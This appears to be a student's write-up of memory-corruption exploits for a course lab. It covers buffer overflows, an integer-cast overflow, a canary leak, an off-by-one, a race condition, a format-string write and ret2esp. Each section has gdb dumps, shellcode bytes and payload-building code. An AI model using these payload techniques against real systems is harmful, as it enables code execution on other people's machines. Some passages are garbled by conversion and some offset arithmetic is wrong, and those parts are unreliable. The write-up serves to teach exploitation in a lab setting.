CS161 Project 1

Saifullah Jailani

February 2022

1 Remus

1.1 Main Idea

This code is vulnerable because of the use of *gets* function. The gets function does not check for buffer overflow, therefore, if not properly put in if statements and checked for the length of the buffer would make the code exploitable. To exploit this vulnerability, we overflow the *buf* as such to overwrite the *RIP orbit* with the address of the *SHELLCODE*. One approach is to fill the *buf* with the some garbage chars to the address of the *RIP orbit*, then overwrite the value of the *RIP orbit* with the address 4 bytes above the *RIP orbit* where we would put our *SHELLCODE*

1.2 Magic Numbers

We note down the *RIP orbit* address and value, and the *SFP orbit* address using *info frame* command, and the address of the*buf* using *print buff* command.

```
(gdb) info frame
Stack level 0, frame at 0xffffd840:
eip = 0x80491eb in orbit (orbit.c:5); saved eip = 0x8049208
called by frame at 0xffffd850
source language c.
Arglist at 0xffffd838, args:
Locals at 0xffffd838, Previous frame's sp is 0xffffd840
Saved registers:
ebp at 0xffffd838, eip at 0xffffd83c

(gdb) print buf
$2 = (char (*)[8]) 0xffffd828
```

Now we can calculate the ammount of garbage values we need by subtracting the address of the *buf* from the address of the *RIP orbit*, or simply looking at the stack and finding how many words away from the *buf* value of *RIP orbit* shows up.

0xffffd83c - 0xffffd828 = 20

```
(gdb) x/8wx buf
 0xffffd828:   0x00000000   0x00000000   0x00000000   0x00000000
 0xffffd838:   0xffffd848   0x08049208   0x00000001   0x080491fd
```

We can see that the *RIP orbit* value is 5 words away from *buf* which is equal to *20 bytes*. Moreover we can calculate the address of new *new RIP* by adding four to 0xffffd83c, which equlas to 0xffffd840.

1.3 Exploit Structure

The exploit consists of the following 3 parts.

1. Since the address of *RIP orbit* is 20 bytes away from *buf*, we fill the first 20 bytes of the *buf* with some dummy character.
2. We overwrite the value of the *RIP orbit* with the address 4 bytes above it. We can calculate that by adding four to 0xffffd83c, which equlas to 0xffffd840.
3. We insert the shellcode

This will make the program to think that next instruction is 4 bytes above the *RIP orbit* where we injected the shellcode. Threfore, upon exit from the *orbit* function it will run the shellcode.

1.4 Exploit GDB Output

The stack will look like as following after the injection.

```
(gdb) x/8wx buf
 0xffffd828:   0x58585858   0x58585858   0x58585858   0x58585858
 0xffffd838:   0x58585858   0xffffd840   0xcd58326a   0x89c38980
```

we can see that the value of the fifth word changed to the address of the *SHELLCODE*.

2 Spica

2.1 Main Idea

This code is vulnerable because of the misuse of the type casting. The size is stored in *int8_t size* which is a 8 bytes signed integer, which can store from [-128,127]. Therefore, any value greater than 127 would be change to negative when cast from int to int8_t. Since, in the *if* statement the *size* is compared to 128 as int8_t, where *size* is never going to be more than 127. Moreover, if we look at *bytes_read = fread(msg, 1, size, file)*, *size* is casted back to *int*. So, we can write atmost 255 bytes starting from the address of the *msg*, which we can use in this case to overwrite the *RIP display* with the address of the *SHELLCODE*.

2.2 Magic Numbers

We note down the *RIP display* address and value, and the *SFP display* address using *info frame* command, and the address of the *msg* using *print &msg* command.

```
(gdb) info frame
Stack level 0, frame at 0xffffd800:
eip = 0x80491ee in display (telemetry.c:8); saved eip = 0x80492bd
called by frame at 0xffffd830
source language c.
Arglist at 0xffffd7f8, args: path=0xffffd9b3 "navigation"
Locals at 0xffffd7f8, Previous frame's sp is 0xffffd800
Saved registers:
ebp at 0xffffd7f8, eip at 0xffffd7fc

(gdb) print msg
$1 = (char (*)[128]) 0xffffd768
```

Now we can calculate the ammount of garbage values we need by subtracting the address of the *msg* from the address of the *RIP display*, or simply looking at the stack and finding how many words away from the *msg* value of *RIP display* shows up.

0x80492bd - 0xffffd768 = 148

```
x/40wx $msg
 0xffffd768: 0x00000001 0x00000000 0x00000002 0x00000000
 0xffffd778: 0x00000000 0x00000000 0x00000000 0x08048034
 0xffffd788: 0x00000020 0x00000006 0x00001000 0x00000000
 0xffffd798: 0x00000000 0x0804904a 0x00000000 0x000003ea
 0xffffd7a8: 0x000003ea 0x000003ea 0x000003ea 0xffffd98b
 0xffffd7b8: 0x078bfbfd 0x00000064 0x00000000 0x00000000
 0xffffd7c8: 0x00000000 0x00000000 0x00000000 0x00000001
 0xffffd7d8: 0x00000000 0xffffd97b 0x00000000 0x00000000
 0xffffd7e8: 0x00000000 0x00000000 0x00000000 0xffffdfe2
 0xffffd7f8: 0xffffd818 0x080492bd 0xffffd9b3 0x00000000
```

We can see that the *RIP display* is 37 words or 148 bytes away from the address of the *msg*.

2.3 Exploit Structure

The exploit consists of the following 3 parts.

1. We add which equals to 255, and will be converted to -1 in if statement. Any number less that which is greater or equals to the 1452 + len(SHELLCODE) will also work

2. Since the address of *RIP display* is 148 bytes away from *msg*, we fill the first 148 bytes of the *buf* with some dummy character.

3. We overwrite the value of the *RIP display* with the address 4 bytes above it. We can calculate that by adding four to 0xffffd7fc which equlas to 0xffffd800.

4. We insert the shellcode

This will make the program to think that next instruction is 4 bytes above the *RIP display* where we injected the shellcode. Therefore, upon exit from the *display* function it will run the shellcode.

2.4 Exploit GDB Output

The stack will look like as following after the injection.

```
(gdb) x/60wx msg
 0xffffd768:  0x41414141  0x41414141  0x41414141  0x41414141
 0xffffd778:  0x41414141  0x41414141  0x41414141  0x41414141
 0xffffd788:  0x41414141  0x41414141  0x41414141  0x41414141
 0xffffd798:  0x41414141  0x41414141  0x41414141  0x41414141
 0xffffd7a8:  0x41414141  0x41414141  0x41414141  0x41414141
 0xffffd7b8:  0x41414141  0x41414141  0x41414141  0x41414141
 0xffffd7c8:  0x41414141  0x41414141  0x41414141  0x41414141
 0xffffd7d8:  0x41414141  0x41414141  0x41414141  0x41414141
 0xffffd7e8:  0x000000c0  0x41414141  0x41414141  0x41414141
 0xffffd7f8:  0x41414141  0xffffd800  0xcd58326a  0x89c38980
 0xffffd808:  0x58476ac1  0xc03180cd  0x2f2f6850  0x2f686873
 0xffffd818:  0x546e6962  0x8953505b  0xb0d231e1  0x0a80cd0b
 0xffffd828:  0x0804cfe8  0x08049494  0x00000002  0xffffd8a4
 0xffffd838:  0xffffd8b0  0x0804b008  0x00000000  0x00000000
 0xffffd848:  0x08049472  0x0804cfe8  0x00000000  0x00000000
```

we can see that the value of the 37th word changed to the address of the *SHELLCODE*.

3 Polaris

3.1 Main Idea

This code is vulunrable because *gets* in *dehexify()* function is used without *c.buffer* length check. Moreover, it would have been very hard and near imposible to exploit this code if there was not a while loop. The *while* loop makes the program to run continuously which means that the value of the canary would be the same throughout the program. Therefore, by inputting correct value to *c.buffer* we can store the canary in *c.answer* and the the programm will print it at the end. So, to exploit this program, we leak the canary value, inject our exploit code, without changing the value of canary and run the *shellcode*.

3.2 Magic Numbers

We note down the *RIP deheify* address and value, and the *SFP dehexify* address using *info frame* command, and the address of the *msg* using *print &c.buffer* commands.

```
(gdb) info frame
Stack level 0, frame at 0xffffd820:
eip = 0x8049220 in dehexify (dehexify.c:17); saved eip = 0x8049341
called by frame at 0xffffd840
source language c.
Arglist at 0xffffd818, args:
Locals at 0xffffd818, Previous frame's sp is 0xffffd820
Saved registers:
ebp at 0xffffd818, eip at 0xffffd81c

(gdb) p c.buffer
$1 = (char (*)[16]) 0xffffd7fc
```

To
find the address of the stack that stores the canary we look at the assembly code.

0x804920f	dehexify	push	%ebp
0x8049210	dehexify+1	mov	%esp,%ebp
0x8049212	dehexify+3	sub	$0x48,%esp
0x8049215	dehexify+6	mov	%gs:0x14,%eax
0x804921b	dehexify+12	mov	%eax,-0xc(%ebp)
0x804921e	dehexify+15	xor	%eax,%eax
0x8049220	dehexify+17	movl	$0x0,-0x3c(%ebp)
0x8049227	dehexify+24	movl	$0x0,-0x38(%ebp)

We can see that a value is loaded to eax from a index 14 from gs, and then it is put 12 bytes bellow the ebp. Canaryis located 12 bytes bellow the *SFP dehexify*
Now we can calculate the ammount of garbage values we need by subtracting the address of the *c.buffer* from the address of the *(*canary), or simply looking at the stack and finding how many words away from the *c.buffer* value of *RIP canary* shows up.
Canary is 16 bytes away from c.buufer.

(gdb) x/24wx c.buffer				
0xffffd7fc:	0x00000000	0x00000000	0xffffdfe1	0x0804cfe8
0xffffd80c:	0x81ee5c99	0x0804d020	0x00000000	0xffffd828
0xffffd81c:	0x08049341	0x00000000	0xffffd840	0xffffd8bc
0xffffd82c:	0x0804952a	0x00000001	0x08049329	0x0804cfe8
0xffffd83c:	0x0804952a	0x00000001	0xffffd8b4	0xffffd8bc
0xffffd84c:	0x0804b000	0x00000000	0x00000000	0x08049508

We can see that the *RIP dehexify* is 48 bytes away from the address of the *msg*. We can also calculate the value of the new rip using 0xffffd81c + 4 =

0xffffd820.

3.3 Exploit Structure

The exploit consists of the following parts.

1. We send $'\backslash\backslash x42' * 3 +' \backslash\backslash x' +' \backslash n'$ to the program. This will store the value of canry in $c.answer$ from index 4 to 8.

2. Receive and store the store the value of c.answer[4:8] which coudl be obtained by saving the value of p.recvline()[4:8] in our interact script.

3. Send 15 bytes of garbage followed by $'\backslash 0'$, the saved canary value, 12 bytes of more garbage new rip which is 4 bytes above the original rip, and shellcode. So basically we send something like this.
$'B' * 15 +' \backslash 0' + canary +' B' * 12 + SHELLCODE +' \backslash n'$.

This will make the program to think that next instruction is 4 bytes above the *RIP display* where we injected the shellcode, and since the value of the canary is intact, it will not segfault. Therefore, it will run the shell code on exit.

3.4 Exploit GDB Output

The stack will look like as following after the injection.

```
x/24wx c.buffer
 0xffffd7fc:  0x42424242  0x42424242  0x42424242  0x00424242
 0xffffd80c:  0x81ee5c99  0x42424242  0x42424242  0x42424242
 0xffffd81c:  0xffffd820  0xdb31c031  0xd231c931  0xb05b32eb
 0xffffd82c:  0xcdc93105  0xebc68980  0x3101b006  0x8980cddb
 0xffffd83c:  0x8303b0f3  0x0c8d01ec  0xcd01b224  0x39db3180
 0xffffd84c:  0xb0e674c3  0xb202b304  0x8380cd01  0xdfeb01c4
```

we can see that the value of the 9th word changed to the address of the *SHELLCODE* address, and the value of the 5th word or the canary is intact

4 Vega

4.1 Main Idea

This code is vulnerable because the loop in the *flip* function allow us to add 65 elements to *buf* of size 64. Therefore, we can overwrite one byte using this method, and that 65th byte from buf is the location of the least signigicant byte of the *SFP invoke*. We can change the value of this location such that the *SFP invoke* points to buf. We can put the *SHELLCODE* at bytes form buffer, so when the function returns it overwrites the eip and jump to the *SHELLCODE*

4.2 Magic Numbers

We note down the the *SFP invoke* address using *info frame* command, and the address of the *buf* using *print &buf* commands. Also we find the address of the envronment variable that stores the *SHELLCODE* using print ((char **) environ)[4].

```
(gdb) info frame
Stack level 0, frame at 0xffffd7b8:
eip = 0x8049251 in invoke (flipper.c:17); saved eip = 0x804927a
called by frame at 0xffffd7c4
source language c.
Arglist at 0xffffd7b0, args:
in=0xffffd949 "AAAA76773737", 'b' ¡repeats 56 times¿, "P"
Locals at 0xffffd7b0, Previous frame's sp is 0xffffd7b8
Saved registers:
ebp at 0xffffd7b0, eip at 0xffffd7b

(gdb) print buf $1 = (char (*)[64]) 0xffffd770
(gdb) print ((char **) environ)[4]
$3 = 0xffffdf9a \211É\301jGX1\300Ph//shh/binT[PS114161stackdown"
```

Since 0xffffd7b0 - 0xffffd770 = 64, to overwrite we should write 65 butes to buffer. We notice that to overwrite the *SFP invoke* such that it points to buffer we only need to change the least signifcant byte of it. So, we need to change the last byte to 0x70. Becuase the value of the byte is flipped in flipped function we pass to the function the flipped value of 0x70 which equals to 0x50 as the last byte. And the same applies to the address of the *SHELLCODE* which should be flipped to *'\xbe\xff\xdf\xdf'*.

```
(gdb) x/24wx buf
  0xffffd770:   0x00000000   0x00000001   0x00000000   0xffffd91b
  0xffffd780:   0x00000000   0x00000000   0x00000000   0x00000000
  0xffffd790:   0x00000000   0xffffdfe5   0xf7ffc540   0xf7ffc000
  0xffffd7a0:   0x00000000   0x00000000   0x00000000   0x00000000
  0xffffd7b0:   0xffffd7bc   0x0804927a   0xffffd949   0xffffd7c8
  0xffffd7c0:   0x0804929e   0xffffd949   0xffffd850   0x0804946f
```

We can see that the *RIP dehexify* is 17th words away from the address of the *buf*, so SFP is 16th words away.

4.3 Exploit Structure

The exploit consists of the following parts.

1. Add 4 bytes of garbage characters.
2. Do a byte wise xor with 0x20.
3. Add 56 bytes of garbage characters.

4. Add $'\backslash x50'$ at the end which is flipped byte of SFP's least significant byte.

5. send all of the above concatenated with each other in order to the input of the program.

This will overwrite the eip with the value of the address of the SHELLCODE uppon return from invoke.

4.4 Exploit GDB Output

The stack will look like as following after the injection.

```
x/24wx buf
 0xffffd770:   0x61616161   0xffffdf9e   0x42424242   0x42424242
 0xffffd780:   0x42424242   0x42424242   0x42424242   0x42424242
 0xffffd790:   0x42424242   0x42424242   0x42424242   0x42424242
 0xffffd7a0:   0x42424242   0x42424242   0x42424242   0x42424242
 0xffffd7b0:   0xffffd770   0x0804927a   0xffffd949   0xffffd7c8
 0xffffd7c0:   0x0804929e   0xffffd949   0xffffd850   0x0804946f
```

we can see that the value of the SFP changed.

5 Deneb

5.1 Main Idea

This code is vulnerable because it has time to check to time to use vulnerability. The program will return if the input size is more than buffer, but when it comes to use while reading it depends on this check, so if the content of the file is changed and now it is larger than buffer, it will not detect it. Therefore, we write to the file first such that the content is less than the size of the buffer to pass the if check, and later on we change the content of the buffer such that we overwrite the value of the RIP read$_{f}iles$.

5.2 Magic Numbers

We note down the *RIP orbit* address and value, and the *SFP orbit* address using *info frame* command, and the address of the*buf* using *print buff* command.

(gdb) info frame
Stack level 0, frame at 0xffffd840:
eip = 0x8049238 in read$_{f}ile(orbit.c : 30); savedeip = 0x804939c$
$calledbyframeat0xffffd850$
$sourcelanguagec.$
$Arglistat0xffffd838, args :$
$Localsat0xffffd838, Previousframe'sspis0xffffd840$
$Savedregisters :$
$ebpat0xffffd838, eipat0xffffd83c$

(gdb) print buf
$1 = (char (*)[128]) 0xffffd7a8

Now we can calculate the ammount of garbage values we need by subtracting the address of the *buf* from the address of the *RIP orbit*, or simply looking at the stack and finding how many words away from the *buf* value of *RIP orbit* shows up.
0xffffd83c - 0xffffd7a8 = 148
We allso calculate the vlue of the new RIP where we will put our SHELLCODE.
0xffffd83c + 4 = 0xffffd840

(gdb) x/40xw buf

0xffffd7a8:	0x00000020	0x00000006	0x00001000	0x00000000
0xffffd7b8:	0x00000000	0x0804904a	0x00000000	0x000003ed
0xffffd7c8:	0x000003ed	0x000003ed	0x000003ed	0xffffd9ab
0xffffd7d8:	0x078bfbfd	0x00000064	0x00000000	0x00000000
0xffffd7e8:	0x00000000	0x00000000	0x00000000	0x00000001
0xffffd7f8:	0x00000000	0xffffd99b	0x00000000	0x00000000
0xffffd808:	0x00000000	0x00000000	0x00000000	0xffffdfe6
0xffffd818:	0xf7ffc540	0xf7ffc000	0x00000000	0x00000000
0xffffd828:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd838:	0xffffd848	0x0804939c	0x00000001	0x08049391

We can see that the *RIP read_file* value is 37 words away from *buf* which is equal to *148 bytes*. Moreover we can calculate the address of new *new RIP*.

5.3 Exploit Structure

The exploit consists of the following parts.

1. send content such that the size is less that 128.
2. Since the address of *RIP read_file* is 148 bytes away from *buf*, we fill the first 148 bytes of the *buf* with some dummy character.
3. We overwrite the value of the *RIP read_file* with the address 4 bytes above it. We can calculate that by adding four t0xffffd83c + 4 = 0xffffd840.

4. We insert the shellcode

This will make the program to think that next instruction is 4 bytes above the *RIP*
$read_fileswhereweinjectedtheshellcode.Threfore, uponexitfromthe$orbit$functionitwillruntheshellcode.$

5.4 Exploit GDB Output

The stack will look like as following after the injection.

```
(gdb) x/40xw buf
 0xffffd7a8:  0x42424242  0x42424242  0x42424242  0x42424242
 0xffffd7b8:  0x42424242  0x42424242  0x42424242  0x42424242
 0xffffd7c8:  0x42424242  0x42424242  0x42424242  0x42424242
 0xffffd7d8:  0x42424242  0x42424242  0x42424242  0x42424242
 0xffffd7e8:  0x42424242  0x42424242  0x42424242  0x42424242
 0xffffd7f8:  0x42424242  0x42424242  0x42424242  0x42424242
 0xffffd808:  0x42424242  0x42424242  0x42424242  0x42424242
 0xffffd818:  0x42424242  0x42424242  0x42424242  0x42424242
 0xffffd828:  0x000000e0  0x42424242  0x42424242  0x42424242
 0xffffd838:  0x42424242  0xffffd840  0xdb31c031  0xd231c931
```

The value of the RIP has changed.

6 Antares

6.1 Main Idea

This code is vulnerable because of the use of the printf without a format string.Since the value of the *buff* is passed by the user, it could be exploited using the format string exploit. Using the format strings we want to walk the pointer so it reaches the address to RIP, and then we set the first two bytes by printing the the first 2 bytes number of garbage chars minus the chars already printed using %hn, and then we set the first half by printing the number of second half minus the number of first half characters.

6.2 Magic Numbers

We note down the *RIP calibrate* address and value, and the *SFP calibrate* address using *info frame* command, and the address of the*buf* using *print buf* command.

```
gdb) info frame
Stack level 0, frame at 0xffffd760:
eip = 0x80491eb in calibrate (calibrate.c:5); saved eip = 0x804928f
called by frame at 0xffffd810
source language c.
Arglist at 0xffffd758, args: buf=0xffffd770 ""
Locals at 0xffffd758, Previous frame's sp is 0xffffd760
Saved registers:
ebp at 0xffffd758, eip at 0xffffd75c

buf = (gdb) p buf
$3 = 0xffffd770
   0x80491e5 calibrate      push   %ebp
   0x80491e6 calibrate+1    mov    %esp,%ebp
   0x80491e8 calibrate+3    sub    $0x18,%esp
   0x80491eb calibrate+6    sub    $0xc,%esp
   0x80491ee calibrate+9    push   $0x804f000
   0x80491f3 calibrate+14   call   0x8049ae8 puts
   0x80491f8 calibrate+19   add    $0x10,%esp
   0x80491fb calibrate+22   mov    0x8050fdc,%eax
   0x8049200 calibrate+27   sub    $0x4,%esp
   0x8049203 calibrate+30   push   %eax
   0x8049204 calibrate+31   push   $0x80
   0x8049209 calibrate+36   push   0x8(%ebp)
   0x804920c calibrate+39   call   0x80496fb fgets
   0x8049211 calibrate+44   add    $0x10,%esp
   0x8049214 calibrate+47   sub    $0xc,%esp
   0x8049217 calibrate+50   push   $0x804f020
   0x804921c calibrate+55   call   0x8049ae8 puts
   0x8049221 calibrate+60   add    $0x10,%esp
   0x8049224 calibrate+63   sub    $0xc,%esp
   0x8049227 calibrate+66   push   0x8(%ebp)
   0x804922a calibrate+69   call   0x8049abe printf
This is the info frame of the printf
(gdb) info frame
Stack level 0, frame at 0xffffd730:
eip = 0x8049abe in printf (src/stdio/printf.c:8); saved eip = 0x804922f
called by frame at 0xffffd760
source language c.
Arglist at 0xffffd728, args: fmt=0xffffd770 Locals at 0xffffd728, Previous frame's
sp is 0xffffd730
Saved registers:
eip at 0xffffd72c

(gdb) x argv[1]
0xffffd992: 0xcd58326a
```

Now based on the assembly code we can determine the the distance between the address of buf[4] and 8 bytes above the RIP of printf is equal to 60. It could be found by looking the assembly code or by subtracting the 8 from the RIP of printf and then subtracting them from the address of the buf.
$0xffffd770 - 0xffffd72c - 8 = 60$
So the magic numbers are chosed as following.

payload += 'A' * 4
payload += $'5c\backslash xd7\backslash xff\backslash xff'$
payload += 'A' * 4
payload += $'5e\backslash xd7\backslash xff\backslash xff'$
bytes = 60
Val = int(bytes/4)
payload += '%c' * Val
SECOND_HALF = 0xd992
FIRST_HALF = 0xffff
payload += '%' + str(SECOND_HALF - (16+Val)) + 'u'
payload += '%hn'
payload += '%' + str(FIRST$_HALF - SECOND_HALF) +' u'$
$payload+ =' \%hn'$
$print(payload +' \backslash n')$

6.3 Exploit Structure

The exploit consists of the following parts.

1. Put the SHELLCODE to argv[1] and note the address.
2. Find how many bytes should we walk to get to buf[4] from 8 bytes above the RIP of printf.
3. Feed buf As follwing
   payload += 'A' * 4
   payload += $'5c\backslash xd7\backslash xff\backslash xff'$
   payload += 'A' * 4
   payload += $'5e\backslash xd7\backslash xff\backslash xff'$
   bytes = 60
   Val = int(bytes/4)
   payload += '%c' * Val
   SECOND_HALF = 0xd992
   FIRST_HALF = 0xffff
   payload += '%' + str(SECOND_HALF - (16+Val)) + 'u'
   payload += '%hn'
   payload += '%' + str(FIRST_HALF - SECOND_HALF) + 'u'
   payload += '%hn'
   print(payload + '$\backslash n'$)

This will make the program to think that the next instruction is in address of argv[1].

6.4 Exploit GDB Output

The RIP will

```
(gdb) x/8wx buf
 0xffffd740:   0x00000000   0x00000000   0x00000001   0x00000000
 0xffffd750:   0x00000002   0x00000000   0xffffd7f8   0xffffd992
 0xffffd760:   0xffffd770   0x08048034   0x00000020   0x00000006
 0xffffd770:   0x41414141   0xffffd75c   0x41414141   0xffffd75e
 0xffffd780:   0x63256325   0x63256325   0x63256325   0x63256325
```

We can see that the value of RIP at address 0xffffd75c changed to the address of argv[1].

7 Rigel

7.1 Main Idea

This code is vulnerable because it has ret2esp valunrablity. The function magic has 58623 hard coded which is equal to 0xffe4 which is interpreted as *jmp *esp* by machine. So, we can make the esp point to the *SHELLCODE* and load the address of this instruction to the RIP of orbit.

7.2 Magic Numbers

We note down the *RIP orbit* address and the address of the*buf* using *x buf* command.

```
(gdb) info frame]] Stack level 0, frame at 0xffc4f760:
eip = 0x804922a in orbit (orbit.c:13); saved eip = 0x8049247
called by frame at 0xffc4f770
source language c.
Arglist at 0xffc4f758, args:
Locals at 0xffc4f758, Previous frame's sp is 0xffc4f760
Saved registers:
ebp at 0xffc4f758, eip at 0xffc4f75c

(gdb) x buf
0xffc4f748: add %al,(%eax)

(gdb) disas magic
Dump of assembler code for function magic:
0x080491e5 ¡+0¿: push %ebp
0x080491e6 ¡+1¿: mov %esp,%ebp
0x080491e8 ¡+3¿: mov 0xc(%ebp),%eax
0x080491eb ¡+6¿: shl $0x3,%eax
0x080491ee ¡+9¿: xor %eax,0x8(%ebp)
0x080491f1 ¡+12¿: mov 0x8(%ebp),%eax
0x080491f4 ¡+15¿: shl $0x3,%eax
0x080491f7 ¡+18¿: xor %eax,0xc(%ebp)
0x080491fa ¡+21¿: orl $0xe4ff,0x8(%ebp)
0x08049201 ¡+28¿: mov 0xc(%ebp),%ecx
0x08049204 ¡+31¿: mov $0x3e0f83e1,%edx
0x08049209 ¡+36¿: mov %ecx,%eax
0x0804920b ¡+38¿: mul %edx
0x0804920d ¡+40¿: mov %edx,%eax
0x0804920f ¡+42¿: shr $0x4,%eax
0x08049212 ¡+45¿: imul $0x42,%eax,%edx
0x08049215 ¡+48¿: mov %ecx,%eax
0x08049217 ¡+50¿: sub %edx,%eax
0x08049219 ¡+52¿: mov %eax,0xc(%ebp)
0x0804921c ¡+55¿: mov 0x8(%ebp),%eax
0x0804921f ¡+58¿: and 0xc(%ebp),%eax
0x08049222 ¡+61¿: pop %ebp
0x08049223 ¡+62¿: ret
End of assembler dump.

(gdb) x/i 0x80491fd
0x80491fd ¡magic+24¿: jmp *%esp

(gdb) x/8wx buf
  0xffbc1848:   0x00000000   0x00000000   0x00000000   0x00000000
  0xffbc1858:   0xffbc1868   0x08049247   0x00000001   0x0804923c
```

Now we can calculate the ammount of garbage we need by subtracting the address of the buf from address of the RIP.
$0xffc4f75c - 0xffc4f748 = 20$
Also according to the Tilo Muller, we have to esacpe 3 bytes to avoid the move which could be achieved as following.
$magic + 21 + 3 = magic + 24 + 0x080491fa + 3 = 0x80491fd$.

7.3 Exploit Structure

The exploit consists of the following 3 parts.

1. Since the address of *RIP orbit* is 20 bytes away from *buf*, we fill the first 20 bytes of the *buf* with some dummy character.
2. We overwrite the value of the *RIP orbit* with the address of jmp *esp, as explained in magic number section.
3. We insert the shellcode

This will make the program to think that next instruction is jmp *esp, and SHELLCODE is in *esp the program will jump to SHELLCODE.

7.4 Exploit GDB Output

The stack will look like as following after the injection.

```
(gdb) x/8wx buf
 0xffbc1848:  0x41414141  0x41414141  0x41414141  0x41414141
 0xffbc1858:  0x41414141  0x080491fd  0xcd58326a  0x89c38980
```

we can see that the value of the fifth word changed to the address of the jmp *esp instruction.